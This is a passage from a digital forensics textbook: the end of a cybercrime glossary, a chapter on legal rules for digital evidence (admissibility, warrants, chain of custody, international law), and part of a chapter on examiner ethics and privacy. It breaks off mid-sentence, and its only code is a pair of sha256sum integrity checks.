DaaS (DDoS-as-a-Service) An illegal service, also known as a "booter" or "stresser," that allows customers to pay to launch a Distributed Denial-of-Service attack against a target.

DDoS (Distributed Denial-of-Service) An attack that makes a website or online service unavailable by overwhelming it with traffic from multiple sources, often from a botnet.

DLP (Data Loss Prevention) A set of security tools and processes designed to ensure that sensitive data is not lost, misused, or accessed by unauthorized users.

DOB (Date of Birth) A key piece of Personally Identifiable Information (PII) often sold in data packages called "fullz."

Double Extortion A ransomware tactic where attackers not only encrypt the victim's files but also steal sensitive data and threaten to leak it publicly if the ransom is not paid.

Doxing The act of researching and publicly broadcasting an individual's private information (like their home address or phone number) without their consent.

EDR (Endpoint Detection and Response) An advanced security solution that continuously monitors end-user devices (endpoints) to detect and respond to complex cyber threats in real-time.

Escrow Service A trusted third-party service used in underground marketplaces that holds a buyer's payment until the promised goods or services are delivered, protecting both parties from scams.

FUD (Fully UnDetectable) A term used by malware authors and crypter services to advertise that their malicious software can bypass all or most security products.

Fullz A package of stolen Personally Identifiable Information (PII) that includes enough detail (e.g., full name, address, SSN, DOB) to facilitate identity theft.

Google Dorks Advanced search queries using special operators to find specific information or vulnerabilities on the public internet that are not easily found with normal searches.

GPO (Group Policy Object) A feature in Microsoft Windows Active Directory that allows an administrator to apply specific configurations to a group of users or computers. Attackers often abuse GPOs to deploy malware across an entire network at once.

Hacktivist A person or group who uses hacking techniques to promote a political agenda or social cause.

Hashed Password A password that has been transformed into a fixed-length string of characters through a one-way cryptographic function, used to securely store passwords rather than saving them in plain text.

HR (Human Resources) In the context of cybercrime, this refers to the organized "departments" within large criminal syndicates that manage recruitment, payroll, and performance of their criminal employees.

IAB (Initial Access Broker) A specialized cybercriminal who gains unauthorized access to computer networks and then sells that access to other criminals, such as ransomware affiliates.

Infostealer A type of malware specifically designed to steal sensitive information from an infected computer, such as usernames, passwords, and credit card numbers.

IoCs (Indicators of Compromise) Digital evidence or forensic data, such as an IP address, file hash, or domain name, that indicates a security breach has occurred on a system or network.

Launder (Money Laundering) The process of concealing the origins of illegally obtained money, typically by passing it through a complex sequence of transfers or commercial transactions.

Loader / Dropper A type of malware whose primary function is to gain a foothold on a victim's system and then download and execute additional, more damaging malware.

Logs In the context of cybercrime marketplaces, this refers to collections of stolen data, particularly user credentials, gathered from infostealer malware.

MaaS (Malware-as-a-Service) A business model where criminals sell or rent access to malware, such as loaders or infostealers, often via a subscription.

Malware Short for "malicious software," this is any software intentionally designed to cause damage to a computer, server, client, or computer network.

Mixer / Tumbler A cryptocurrency laundering service that mixes potentially identifiable crypto funds with a large pool of other funds to obscure the trail back to the original source.

Money Mule A person who, knowingly or unknowingly, transfers or moves illegally acquired money on behalf of someone else, helping criminals convert digital currency into cash.

Nation-State Actor An attacker group operating on behalf of, or with direct support from, a national government to conduct espionage, sabotage, or influence operations. Also known as an APT.

Obfuscation The technique of making malware code difficult for humans and security software to understand in order to evade detection.

PhaaS (Phishing-as-a-Service) An illegal service that provides aspiring criminals with the tools and infrastructure needed to launch phishing campaigns, including email templates and fake login pages.

Phishing A type of social engineering attack where an attacker sends fraudulent communications (e.g., emails) that appear to come from a reputable source to trick individuals into revealing sensitive information.

Phishing Kit A package sold on the dark web that includes all the components needed for a phishing attack, such as email templates, fake website code, and a control panel for collecting credentials.

PII (Personally Identifiable Information) Any data that could be used to identify a particular person, such as a name, address, or Social Security Number.

Polymorphism An advanced obfuscation technique used by malware to constantly change its own code, creating unique variants that are difficult for signature-based antivirus software to detect.

RaaS (Ransomware-as-a-Service) A CaaS model where ransomware developers lease their malware to affiliates, who then carry out the attacks. The profits from the ransom payment are split between the developers and the affiliates.

RDP (Remote Desktop Protocol) A Microsoft protocol that allows a user to connect to and control another computer over a network connection. Stolen RDP credentials are a common way for attackers to gain initial access.

Reverse Engineering The process of deconstructing a piece of software or hardware (like malware) to understand its design, functionality, and inner workings.

SaaS (Software-as-a-Service) The legitimate business model of licensing software on a subscription basis, which the CaaS model illegally imitates.

Script Kiddie An amateur attacker with limited technical skill who uses prewritten scripts or tools created by others to launch attacks against easy targets.

SSN (Social Security Number) A unique identification number assigned to U.S. citizens, which is highly valuable data for identity theft.

Threat Actor Profiling The practice of analyzing an attacker's motivations, skills, tools, and objectives to predict their behavior and attribute attacks.

Tor Network A volunteer-operated network that enables anonymous communication by directing internet traffic through a series of relays, hiding a user's location and identity. It is often used to host underground marketplaces.

TTPs (Tactics, Techniques, and Procedures) A framework used to describe and analyze the behavior of a cyber attacker. TTPs detail how an adversary conducts their operations from start to finish.

VPN (Virtual Private Network) A technology that creates a secure and encrypted connection over a less secure network, such as the public internet. Stolen VPN credentials are a valuable commodity for IABs.

Web Shell A malicious script uploaded to a web server that allows an attacker to execute commands and maintain remote control over the server.

XMR (Monero) A type of cryptocurrency known for its strong privacy features, which makes it a popular choice for ransom payments as it is more difficult to trace than Bitcoin.

Zero-day Exploit A cyberattack that targets a previously unknown vulnerability in a piece of software or hardware, for which no patch or fix yet exists.

Chapter 3

Legal and Regulatory Frameworks

Introduction

In digital forensics, every action an investigator takes is subject to legal review. If evidence is not collected and handled correctly according to the law, a court can refuse to accept it. This chapter explains the fundamental legal rules that every digital investigator must follow. You will learn the requirements for evidence to be used in court, the legal authority needed to search for and seize data, and the correct process for documenting the chain of custody.

3.1 Digital Evidence Admissibility

The main goal of a forensic investigation for a court case is to show the findings to a *trier of fact*, such as a judge or jury who decides the outcome of the case. However, before evidence can be shown, the court must approve it as "admissible." Admissibility is a legal requirement that all evidence, digital or physical, must meet. This section explains the basic requirements for digital evidence.

A major concern in the past was the **Best Evidence Rule**. This rule traditionally required that the original document, writing, or recording be shown in court to prove what it says. Courts and legal systems have changed this rule for the digital age. A *forensic image*, which is an exact, bit-for-bit copy of a storage device, is now usually accepted as the original. This is allowed only if its integrity can be proven, for example, by using cryptographic hashing. The court accepts the copy only if the investigator can prove it is a real and unchanged copy [130].

3.1.1 Core Principles of Evidence

Two of the most basic principles for admissibility are relevance and authenticity.

Relevance. Evidence is *relevant* if it helps to make an important fact in the case seem more or less true [131]. In digital investigations, this connection can be direct or indirect. For example, the timestamp on a modified file can be very relevant to prove a suspect's activity at a specific time. A GPS log file from a smartphone could be relevant to show a person was at a crime scene. The investigator's report must present the data and also explain why it is relevant to the case.

Authenticity. The person presenting the evidence must provide information to prove that the item is genuine [134]. For digital evidence, this is the most important part of forensic validation. It is not enough to say, "We found this email on the suspect's computer." The investigator must be ready to prove the email is real, was not changed or added later, and came from the person or place they claim. This requires a strong and reliable method, including a proper chain of custody, the use of tested tools, and detailed notes.

> **State of Connecticut v. Julie Amero,** A clear real-world example of what happens when authentication and context analysis fail is the case of *State of Connecticut v. Julie Amero*. Amero, a substitute teacher, was convicted because pornographic pop-up ads appeared on her classroom computer. The first police investigation was not detailed. Later, a more complete forensic analysis by independent experts showed that spyware caused the pop-ups and that Amero was trying to close the windows, not open them on purpose. This case shows how a poor forensic analysis can lead to wrong conclusions about what digital evidence means. This can make the original findings seem untrustworthy [230].

3.1.2 The Hearsay Rule and Its Exceptions

The hearsay rule is a major challenge for digital evidence, but one that can be overcome. The law defines **hearsay** as a statement made outside of court that is presented as evidence to prove that the statement is true [132]. The law usually does not allow hearsay because the person who made the statement, called the *declarant*, is not in court and cannot be questioned.

Many types of digital evidence can be considered "statements." An email, a text message, or a document written by a person are clear examples. Computer-generated data, like a server log entry, can also be seen as a statement made by the computer system itself.

Luckily, there are many exceptions to the hearsay rule. For digital forensics, the most important is the **Business Records Exception**. This exception allows records from a business to be used as evidence. To qualify, the records

must be: made at or near the time of the event by someone who knew about it, kept as part of a regular business activity, and created as a normal practice of that business [133]. This exception is very important for using evidence like ISP connection logs, financial transaction records, system event logs, and company emails.

To use this exception, it helps to understand the difference between two types of digital records:

- **Computer-Stored Records:** These are records a person creates using a computer, such as a word processing document, an email, or a spreadsheet. These records are hearsay if offered to prove the truth of what they say. They are human statements stored on a machine.
- **Computer-Generated Records:** These are records created automatically by the computer system itself, without direct human input. Examples include log files recording login attempts, web server access logs, or file system timestamps. Courts usually do not consider these records hearsay because a machine, not a person, created them. They are considered more reliable because a machine creates them automatically as part of a normal process [33].

3.1.3 Authenticating Digital Evidence with Hashing

As we explained, it is extremely important to prove that digital evidence is authentic. The main method for doing this is using *cryptographic hash functions*. A **hash function** is a mathematical algorithm. It takes any amount of data as input and creates a short, fixed-size text string as output. This output is called a *hash value* or a *digital fingerprint*. Common algorithms include MD5 and the SHA (Secure Hash Algorithm) family, especially SHA-256. MD5 is now considered weak for security but is still sometimes used to check data integrity.

A cryptographic hash has these key properties:

(1) It is almost impossible to find two different pieces of data that create the same hash value. This is called *collision resistance*.

(2) Changing even one small part of the data—like a single bit—will create a completely different hash value.

(3) You cannot get the original data back from its hash value.

This process lets an investigator create a hash of the original evidence when they collect it. Later, after copying or analyzing the evidence, its hash can be calculated again. If the new hash is the same as the original hash, it provides strong proof that the evidence is unchanged.

Practical Demo: File Hashing in Linux Bash., Hashing and verifying data is simple with modern tools. Here is an example using the `sha256sum` command in a Linux shell.

```
# Step 1: An investigator acquires a disk image and immediately
# calculates its hash. This original hash is the official record.

$ sha256sum /evidence/original_file.dd
A1B2C3D4E5F6...[a long hexadecimal string]...7890  /evidence/original_file.dd

# This hash value is recorded in the chain of custody documents.

# Step 2: The investigator makes a working copy and later checks
# that the copy is identical to the original.

$ cp /evidence/original_file.dd /working_copy/original_file.dd

# Now recompute the hash on the working copy:
$ sha256sum /working_copy/original_file.dd
A1B2C3D4E5F6...[a long hexadecimal string]...7890  /working_copy/original_file.dd

# The two hash values must match exactly. This proves the working
# copy is an exact duplicate of the original evidence.
```

3.1.4 Scientific Evidence Standards

Forensic science, including digital forensics, must follow standards to make sure its methods are reliable. In the United States, two main standards have controlled how scientific testimony is allowed in court.

The Frye Standard. The older standard, which comes from *Frye v. United States* (1923), is often called the "general acceptance" test. Under the **Frye standard**, a scientific method can be used in court only if experts in that field generally accept it as reliable [76]. This standard uses the agreement of the scientific community to decide what is allowed.

The Daubert Standard. The more modern and flexible standard, used in U.S. federal courts and many state courts, comes from the Supreme Court case *Daubert v. Merrell Dow Pharmaceuticals, Inc.* (1993). The **Daubert standard** gives the judge the job of being a "gatekeeper" to ensure that expert scientific testimony is both relevant and reliable. The judge looks at several factors, including:

- Whether the method or theory has been tested.
- Whether it has been reviewed by other experts and published.
- The method's known or possible rate of error.
- Whether there are standards that control how the method is used.

- Whether the method is widely accepted in the relevant scientific community (this includes the Frye standard as one factor).

[54]

The *Daubert* standard greatly affects digital forensics. It means that an investigator must be able to defend the tools and methods they use. An examiner cannot simply state that "my tool found this." They must be ready to explain how the tool works, talk about its known errors, show that it has been tested and confirmed, and prove that the forensic community accepts their methods. This is why testing and confirming forensic software and hardware are very important jobs for any professional digital forensics lab.

3.2 Authority to Search and Seize Digital Evidence

Before an investigator can analyze evidence, they must obtain it legally. If an investigator searches without the correct legal permission, any evidence they find might be suppressed. This means the court will not allow it to be used, no matter how much it proves guilt. This section covers the legal permission needed to search digital devices and accounts, mainly based on the U.S. Fourth Amendment. This law protects people from unreasonable searches and seizures by the government.

3.2.1 The Role of Search Warrants

The main tool for a legal search in a criminal investigation is the search warrant. A **warrant** is a legal paper signed by a judge. It gives police permission to search a specific person, place, or car for evidence of a crime.

Probable Cause. To get a warrant, police must show they have **probable cause**. This means they must present facts or evidence that would make a reasonable person believe a crime has happened and that evidence of the crime will probably be found in the location they want to search.

Particularity Requirement. The Fourth Amendment requires that a warrant must "particularly describ[e] the place to be searched, and the persons or things to be seized." This is a big challenge with digital evidence. Criminal evidence on a computer is often mixed with large amounts of personal data that is not related to the crime. A warrant must be specific. It cannot be a "general warrant" that gives police permission to search for anything. But it must also be broad enough to let investigators find evidence that might be hidden, encrypted, or disguised. Courts often permit investigators to take a whole device. The search of the device's data can then happen later in a lab.

Scope of the Search. The scope of a search is limited to what the warrant allows. If a warrant gives permission to search for financial documents, an investigator may be allowed to look at spreadsheet files but maybe not personal photos. However, if an investigator finds evidence of another crime in plain view while following the warrant (for example, seeing child pornography while looking for financial records), that evidence can be taken under the Plain View Doctrine.

3.2.2 Warrantless Searches and Exceptions

The main rule is "get a warrant," but there are several known exceptions.

Consent. A person can give up their Fourth Amendment rights and agree to a search. For consent to be valid, the person must agree freely and understand what they are doing. They cannot be forced or tricked. Investigators must carefully record the consent, often with a written form. They must also make sure the person giving consent has the legal power to do so (for example, they own the device).

Exigent Circumstances. This exception is for an emergency that makes getting a warrant difficult or dangerous. Examples include an immediate danger to someone's life or the immediate risk that evidence will be destroyed. In digital forensics, this could be used if there is a real threat that someone is about to delete important evidence from a remote server.

Plain View Doctrine. The **Plain View Doctrine** says that if police are legally in a place and see an object that is clearly illegal or evidence of a crime, they can take it without a warrant. This could apply, for example, if an officer is serving an arrest warrant in a suspect's home and sees an open laptop on a desk showing a criminal email.

3.2.3 The Third-Party Doctrine and Service Providers

Much of today's digital evidence is not on our personal devices. Instead, it is stored by third-party companies like Internet Service Providers (ISPs), email providers, and cloud storage companies. The **Third-Party Doctrine** is a U.S. legal rule. It states that people have less right to privacy for information they willingly give to other companies [189].

The **Stored Communications Act (SCA)** is an important U.S. law. It controls how police can force companies to give them user data. It creates a system with different levels of legal requests:

- **Subpoena:** Can be used to get basic user information (name, address, payment records).
- **Court Order:** Can force a company to provide non-content records, such as email logs (to/from addresses, timestamps) or IP address logs.

- **Search Warrant:** Is needed to get the content of communications, such as the body of emails, stored files in a cloud drive, or private messages that have been in storage for 180 days or less.

A famous case that shows how the third-party doctrine and international cooperation work together is the investigation of Ross Ulbricht, the creator of the Silk Road dark-web marketplace. Much of the key evidence was on servers owned by a third-party company in Iceland. U.S. investigators used a *Mutual Legal Assistance Treaty (MLAT)* request, which is a formal request for legal help between countries. This request asked Icelandic police to create a forensic image of the server, which they then gave to the FBI. This process of forcing a third-party provider in another country to provide data was key to uncovering the Silk Road criminal plan and convicting Ulbricht [218].

3.3 Maintaining the Chain of Custody

The chain of custody is one of the most important processes for making sure evidence is trustworthy and can be used in court. It is the detailed log that tracks evidence from the moment it is collected. It records everyone who handles the evidence, what is done to it, and where it is stored. A mistake in the chain of custody is called a "broken chain." It can make a court doubt that the evidence is authentic. The court might then refuse to admit the evidence, making even the strongest technical findings useless. The international standard **ISO/IEC 27037:2012** provides official rules for how to identify, collect, get, and protect digital evidence. It makes many of these processes standard [108].

3.3.1 Documenting the Evidence Lifecycle

The goal of the chain of custody is to prove to the court two things: first, that the evidence presented is the same evidence that was collected, and second, that it has not been changed. A chain of custody log or form must include the following information for every time the evidence moves or changes hands:

- Case number and a unique evidence item number.
- A detailed description of the evidence (e.g., manufacturer, model, serial number).
- The name and signature of every person who handles the evidence.
- The date and time of collection or transfer.
- The reason for the transfer (e.g., "From seizure location to lab," "From lab storage to analyst's workbench," "To courtroom for presentation").

Here is a step-by-step example of how to log a new piece of evidence:

1. **Assignment:** Give the object a unique case number and item number (e.g., Case 2024-001, Item 001).

2. **Creation:** Create a new chain of custody log form for that specific item.

3. **Photography:** Take photos of the evidence where it was found, before moving it, if possible.

4. **First Entry:** The officer who collects the evidence fills out the first part of the log: their name, the date/time of collection, and a detailed description of the item (e.g., "One gray Dell laptop, Model XPS 15, Serial Number: ABC123, seized from suspect's desk").

5. **Bagging and Tagging:** Put the item in a sealed, *tamper-evident evidence bag*, which is a special bag that shows if it has been opened. The officer signs their name over the bag's seal.

6. **First Transfer:** Record the transfer of the evidence to the transport officer or directly to the lab. The person who receives it must sign the log to show they have taken custody.

7. **Lab Intake:** When the evidence arrives at the lab, the evidence intake clerk checks the bag's seal to make sure it is not broken, signs the log to accept custody, and moves the item to a secure storage area. Each time the item is removed from storage for analysis, a new log entry must be created.

3.3.2 Common Failures and Avoidance

Even with clear procedures, human mistakes can damage the chain of custody. Common failures include:

- **Broken Chain:** This happens when there is a time period when no one has signed for the evidence, or a signature is missing. This makes people ask what could have happened to the evidence during that time.

- **Improper Sealing:** This means using containers that are not sealed, or that can be opened and closed again without anyone knowing. You must use tamper-evident bags.

- **Incomplete Documentation:** Missing information, such as dates, times, or the reason for a transfer.

Mitigation: The best way to prevent these failures is to be careful and check everything. An analyst should never accept a piece of evidence without first checking the packaging and verifying that the chain of custody log is complete and correct. Using digital *Evidence Management Systems (EMS)* can also help. These computer systems can require all information to be filled in and can create logs automatically, which reduces human mistakes [13].

3.4 Navigating Jurisdictional Frameworks

Cybercrime has no borders. A criminal in one country can attack a victim in another country using computer systems in a third country. This global problem forces investigators to deal with a complex mix of international agreements, regional rules, and national laws. An action that is legal for an investigator in their own country might be illegal if it means accessing data stored in another country.

3.4.1 International Cooperation and Treaties

The Budapest Convention on Cybercrime. Officially the Council of Europe Convention on Cybercrime, this is the first and most important international agreement for dealing with computer crime. Dozens of countries have approved it, including the United States, Japan, and most of Europe. It has three main goals:

(1) Make the cybercrime laws of signing countries more similar (e.g., by defining crimes like illegal access, data interference, and computer-related fraud).

(2) Give countries the legal power to investigate cybercrime in their own territory (e.g., the power to order a company to save data).

(3) Create a fast and efficient system for countries to work together, including a "24/7 Network" of contacts to help with urgent requests [50].

Mutual Legal Assistance Treaties (MLATs). MLATs are official agreements between countries to help each other gather and share information for criminal cases. An MLAT request is a formal, government-to-government request for legal help. Although they are a basic tool for international investigations, MLAT requests are very slow and often take months or even years. This slow speed is a big problem in fast cyber investigations where digital evidence can be easily changed or deleted.

The U.S. CLOUD Act. The Clarifying Lawful Overseas Use of Data (CLOUD) Act of 2018 made important changes to the Stored Communications Act. It states that U.S. police can use a warrant or other legal request to force technology companies based in the U.S. to provide data, even if the data is stored in another country. It also creates a system for the U.S. to make agreements with trusted foreign countries. This allows each country's police to request data directly from providers in the other country, which avoids the slow MLAT process [217].

3.4.2 Regional Privacy and Data Protection Laws

Investigations may be limited by strong data privacy laws, especially those that protect personal information.

General Data Protection Regulation (GDPR - Europe). The GDPR is a very important EU law about data protection and privacy for everyone in the European Union and European Economic Area. It has strict rules for handling "personal data." Two key rules that affect forensics are:

- **Data Minimisation:** An investigator should only collect and use personal data that is adequate, relevant, and needed for a specified purpose.
- **Purpose Limitation:** Data collected for one purpose should not be used for another, unrelated purpose.

For investigators, this means that collecting too much data—for example, making a forensic image of a whole server for many users just to investigate one employee's files—could break GDPR rules if it is not legally necessary. The amount of data collected must be reasonable for the goal of the investigation [199].

California Consumer Privacy Act (CCPA) / California Privacy Rights Act (CPRA). This California law gives consumers strong rights over their personal information. These rights include the right to know what data companies collect about them and the right to ask for that data to be deleted. These laws have large exceptions for police activities and for actions needed to follow the law. However, investigators working for a company on an internal case must be very careful. An employee may have rights under CCPA/CPRA about their personal information on company systems, and the company must not violate those rights when responding to an incident.

3.4.3 Influential National Cybercrime Statutes

Many nations have their own basic laws against computer crime that many other countries have copied.

Computer Fraud and Abuse Act (CFAA - USA). The CFAA is the main anti-hacking law in the United States. Its main rules forbid "accessing a computer without authorization" or "exceeding authorized access". The law's wording is very broad and has caused debate. It has been used to charge people for both serious hacking for money and for simpler things, like breaking a website's rules. For an investigator, the CFAA defines the basic crimes they are often asked to investigate.

Computer Misuse Act (UK). Passed in 1990, the UK's Computer Misuse Act is one of the first and most complete laws created specifically for computer crime. It created three main crimes:

(1) Unauthorised access to computer material (which is like trespassing on a digital property).

(2) Unauthorised access with the goal of committing other crimes.

(3) Unauthorised acts with the intent to harm a computer's operation, or being reckless about causing harm (this covers malware, denial-of-service attacks, etc.).

The Act's clear structure and its early creation have made it very influential on cybercrime laws around the world.

Conclusion

This chapter taught you the three most important legal duties of an investigator: making sure evidence is legally admissible, getting the correct authority before a search, and keeping a perfect chain of custody. An investigator who follows these rules can be confident that their technical findings will be accepted in court, which makes their work both valuable and effective. In the next chapter, we will apply these legal principles as we learn the first practical step of an investigation: acquiring digital evidence.

Acronyms and Terminology

Admissibility The legal requirement that evidence must meet before it can be presented and accepted in a court of law.

Authenticity The principle of proving that a piece of evidence is genuine, unaltered, and what it claims to be.

Best Evidence Rule A legal rule, now adapted for the digital age, that traditionally required the original version of a document or recording to be presented in court. A verified forensic image is often accepted as the original.

Budapest Convention on Cybercrime The first major international treaty designed to address computer crime by harmonizing laws between nations and promoting cooperation.

Business Records Exception An exception to the hearsay rule that allows records made during regular business activities (such as company emails or system logs) to be admitted as evidence.

CCPA / CPRA The California Consumer Privacy Act / California Privacy Rights Act; a California law giving consumers rights over their personal data held by businesses.

CFAA The Computer Fraud and Abuse Act; the primary federal anti-hacking law in the United States, which makes it illegal to access a computer without authorization.

Chain of Custody The chronological, documented log of everyone who has handled a piece of evidence, from collection to courtroom presentation, to prove its integrity.

CLOUD Act The Clarifying Lawful Overseas Use of Data Act; a U.S. law allowing authorities to compel U.S.-based tech companies to provide requested data, even if it is stored in another country.

Collision Resistance A property of a strong cryptographic hash function ensuring that it is practically impossible for two different pieces of data to produce the same hash value.

Computer-Generated Records Data created automatically by a computer system without direct human input, such as system logs. Courts often consider this type of record more reliable and not hearsay.

Computer-Stored Records Information created by a person using a computer, such as a word document or email. These are considered human statements and may be subject to the hearsay rule.

Computer Misuse Act The United Kingdom's primary law against computer crime, which defines offenses like unauthorized access and modification of data.

Consent Voluntary permission given by an individual for law enforcement to conduct a search, which removes the need for a warrant.

Daubert Standard A legal standard used in U.S. federal courts where the judge acts as a "gatekeeper" to ensure that scientific expert testimony and methods are both relevant and reliable.

Data Minimisation A privacy principle, central to GDPR, which states that only the personal data that is strictly necessary for a specific purpose should be collected and processed.

Declarant The legal term for a person who makes a statement, particularly one made outside of court that might be considered hearsay.

Digital Fingerprint Another term for a hash value; a unique string of characters generated by a hash function to identify a piece of data.

EMS Evidence Management Systems; software used to digitally track and manage the chain of custody for evidence, helping to reduce human error.

Exigent Circumstances An emergency situation that allows law enforcement to conduct a search without a warrant, typically to prevent physical harm or the imminent destruction of evidence.

Forensic Image An exact, bit-for-bit copy of a digital storage device (like a hard drive), which preserves the original data, including deleted files and unused space.

Frye Standard An older legal standard for admitting scientific evidence, which requires that the method used be "generally accepted" as reliable by the relevant scientific community.

GDPR General Data Protection Regulation; a comprehensive European Union law that sets strict rules for protecting personal data and privacy.

Hash Function A mathematical algorithm that takes data of any size and produces a short, fixed-size output string (the hash value). It is used to verify data integrity.

Hash Value The unique, fixed-size string of text produced by a hash function. If the hash values of two files match, the files are identical.

Hearsay A statement made outside of court that is offered as evidence to prove the truth of the matter asserted. It is generally not admissible in court unless an exception applies.

ISO/IEC 27037:2012 An international standard providing formal guidelines for the identification, collection, acquisition, and preservation of digital evidence to ensure a consistent and reliable process.

MD5 A once-common hashing algorithm that is now considered cryptographically weak but is sometimes still used for simple file integrity checks.

MLAT Mutual Legal Assistance Treaty; a formal agreement between two or more countries to provide help in criminal investigations, such as by gathering evidence on each other's behalf.

Particularity Requirement A Fourth Amendment rule requiring that a search warrant must specifically describe the location to be searched and the items to be seized.

Plain View Doctrine A legal rule that allows a police officer to seize evidence and contraband found in plain sight during a lawful observation.

Probable Cause A standard of proof required to obtain a search warrant, consisting of reasonable grounds to believe that a crime has been committed and that evidence of the crime will be found at the location to be searched.

Purpose Limitation A privacy principle, central to GDPR, stating that data collected for one specific purpose should not be used for another unrelated purpose without legal justification.

Relevance The legal principle that evidence must have a tendency to make a fact that is important to the case more or less probable.

SCA Stored Communications Act; a U.S. law that regulates how the government can obtain stored user data (like emails or files) from third-party service providers.

SHA Secure Hash Algorithm; a family of cryptographic hash functions (e.g., SHA-256) considered to be strong and secure for verifying evidence integrity.

Subpoena A legal command ordering someone to produce evidence or provide testimony. Under the SCA, it can be used to obtain basic subscriber information.

Tamper-Evident Evidence Bag A specially designed bag for storing evidence that will show visible signs if it has been opened or compromised, helping to ensure the integrity of the item inside.

Third-Party Doctrine A U.S. legal theory that a person has a reduced expectation of privacy for information they voluntarily share with a third party, such as an internet service provider or bank.

Trier of Fact The person or group who determines the facts in a legal case; typically a judge or a jury.

Warrant A legal document, issued by a judge, that authorizes law enforcement to perform a specific act, such as a search or an arrest.

Chapter 4

Ethics, Privacy, and Professional Responsibility

Introduction

In digital forensics, technical skill is not enough. An investigator must also follow strong ethical rules to ensure their work is honest, fair, and legally sound. This chapter explains the professional responsibilities you must follow in every investigation. We will cover the core principles of ethical behavior, the legal rules that protect privacy, and the correct way to report your findings.

4.1 Core Ethical Principles

Professional groups in digital forensics, like the International Society of Forensic Computer Examiners (ISFCE), have created codes of conduct. These codes provide a guide for making ethical decisions [107]. The specific rules may be different, but they are all based on the same core principles. We can summarize these principles into four main pillars: integrity, objectivity, confidentiality, and competence.

4.1.1 The Four Pillars of Conduct

Integrity: Unimpeachable Honesty

Integrity means following a strict moral and ethical code. It requires being honest and open in all professional work. In practice, this means you must always be committed to the truth. An examiner with integrity reports their findings accurately, even if the findings do not support the original theory of the case. They never change, create fake, leave out, or hide evidence. A key part of forensic integrity is carefully maintaining the *chain of custody*. The chain of

custody is a detailed log that tracks every person who handled the evidence and every action that was performed on it.

Think of a *disk image*, which is a perfect, bit-by-bit copy of a storage device, as a snapshot of a crime scene preserved at a specific moment. Any action that changes the original copy damages its value. Integrity is proven by showing that the examined evidence is an exact, unchanged copy of the evidence that was collected.

Practical Demo: Verifying Evidence Integrity, A basic technique to prove integrity is *cryptographic hashing*. A *hash function* is a mathematical process that takes any amount of data (like a whole disk image file) and creates a short, fixed-size string of characters. This string is called a *hash value*, and it works like a unique digital fingerprint. Changing even one bit in the input file will create a completely different hash value.

On a Linux-based forensic workstation, an examiner can use the 'sha256sum' command to generate a SHA-256 hash of an evidence file:

Listing 4.1: Generating a SHA-256 hash of an evidence file.

```
\$ sha256sum evidence_file.dd
a1b2c3d4e5f6...[64 characters total]...7a8b9c0d1e2f
evidence_file.dd
```

The examiner calculates this hash immediately after acquiring the evidence and records it. At any later time, the examiner can calculate the hash again. If the new hash matches the original one, it provides strong cryptographic proof that the evidence file has not been changed. This proves forensic integrity.

Objectivity: Freedom from Bias

Objectivity is the ability to perform an analysis and make conclusions based only on evidence. You must not be influenced by personal beliefs, feelings, existing ideas, or pressure from others. The examiner's role is to be a neutral interpreter of data and to follow the digital evidence wherever it leads. This can be difficult because of natural human thinking errors, called *cognitive biases*.

Forensic science has identified several cognitive biases that can reduce objectivity [63]. Two of the most common in digital forensics are:

- **Confirmation Bias:** This is the tendency to look for, understand, and remember information that supports what you already believe. An examiner who thinks a suspect is guilty might subconsciously focus more on data that shows guilt and ignore evidence that shows the suspect is innocent.
- **Expectation Bias:** This happens when an examiner is influenced by what other people (like a detective, a lawyer, or a manager) expect to find. If someone tells an examiner, "We are sure the stolen files are on

this drive," the examiner may be more likely to see ambiguous data as proof of those files.

To reduce these biases, examiners must use a scientific mindset. They must actively try to prove their own theories wrong and give equal attention to all possible explanations of the data.

Confidentiality: Protecting Information

Confidentiality is the professional and legal duty to protect sensitive information. You must not share private information found during an investigation unless you have the client's permission or legal approval. Digital devices store our most private information, and an examiner is given special access to this data. This access comes with a very serious responsibility. In practice, keeping information confidential requires strong security procedures. This includes using full-disk encryption on forensic computers, encrypting external drives that store case data, and using secure communication methods when discussing case details. It also means understanding the importance of legal contracts like *Non-Disclosure Agreements (NDAs)*, which are agreements to keep information secret.

Real-World Dilemma: The Confidentiality Principle, A company hires an examiner to investigate a case. The company suspects a senior engineer who is leaving the company has stolen intellectual property (IP). The examiner receives a forensic image of the engineer's work laptop. The goal of the investigation is only to find out if company design documents were stolen.

While looking at the engineer's web browser history and emails, the examiner finds evidence that the engineer was having an embarrassing but legal personal affair. This discovery has nothing to do with the IP theft case. The principle of confidentiality requires that this accidental discovery, which is not related to the case, must be carefully protected. It is not relevant to the investigation. The examiner must not tell the company about it in conversations or in the final report. Sharing it would be a serious ethical mistake.

Competence: Maintaining Expertise

Competence means having and always updating the knowledge and skills needed to do forensic work correctly and reliably. Technology changes at a very fast speed. New operating systems have new artifacts, new apps create new data structures, and new anti-forensic methods appear. The skills that made someone an expert five years ago may not be enough today.

Maintaining competence is an active, career-long process. It involves continuous professional education, like reading academic journals, going to industry conferences, and getting advanced certifications (e.g., GIAC Certified Forensic Examiner (GCFE), Certified Forensic Computer Examiner (CFCE)). It also importantly involves professional honesty. An examiner must recognize the limits

of their own skills or the limits of a forensic tool. A competent examiner knows when to say, "I don't know," and when to ask for help from a specialist in a certain area.

4.2 Privacy, Law, and Investigative Scope

The work of a digital forensic investigator exists at the difficult meeting point between society's need for security and a person's basic right to privacy. A physical search is often limited to one place. In contrast, a digital search can show a person's entire life: their private talks, financial records, medical history, political views, and personal relationships. This gives the investigator a great responsibility to work within clear legal and ethical limits.

4.2.1 The Reasonable Expectation of Privacy

The legal system for privacy in the United States and many other places is based on the idea of a "*reasonable expectation of privacy*". This is a legal standard that determines what people can expect to keep private. This standard was clearly explained in the Supreme Court case *Katz v. United States*. This case decided that the Fourth Amendment protects "people, not places" [195]. Anything a person knowingly shows to the public is not protected. But what a person tries to keep private may be protected, even if it is in a place other people can access.

This principle has been applied to new technologies over time. Courts have confirmed that people have a reasonable expectation of privacy for the content of their emails, cloud storage accounts, and private social media messages.

> **Landmark Case: Riley v. California,** The conflict between law enforcement needs and digital privacy was a key issue in the 2014 Supreme Court case *Riley v. California*. The court ruled together that police cannot search the digital information on a cell phone taken from an arrested person without a warrant [196].
>
> Chief Justice John Roberts, writing for the court, said that modern cell phones "are now such a pervasive and insistent part of daily life that the proverbial visitor from Mars might conclude they were an important feature of human anatomy." He explained that searching a smartphone is not like searching a suspect's pockets; it is a detailed look into the "privacies of life." This important decision confirmed that society expects a high level of privacy for digital devices. It also strengthened the general rule that a warrant is usually needed to search them.

To perform a search, an investigator must have proper legal authority. This authority usually comes in one of three forms:

- **Search Warrant:** A legal document from a judge that allows a search of a specific place for specific items. The warrant must be based on probable

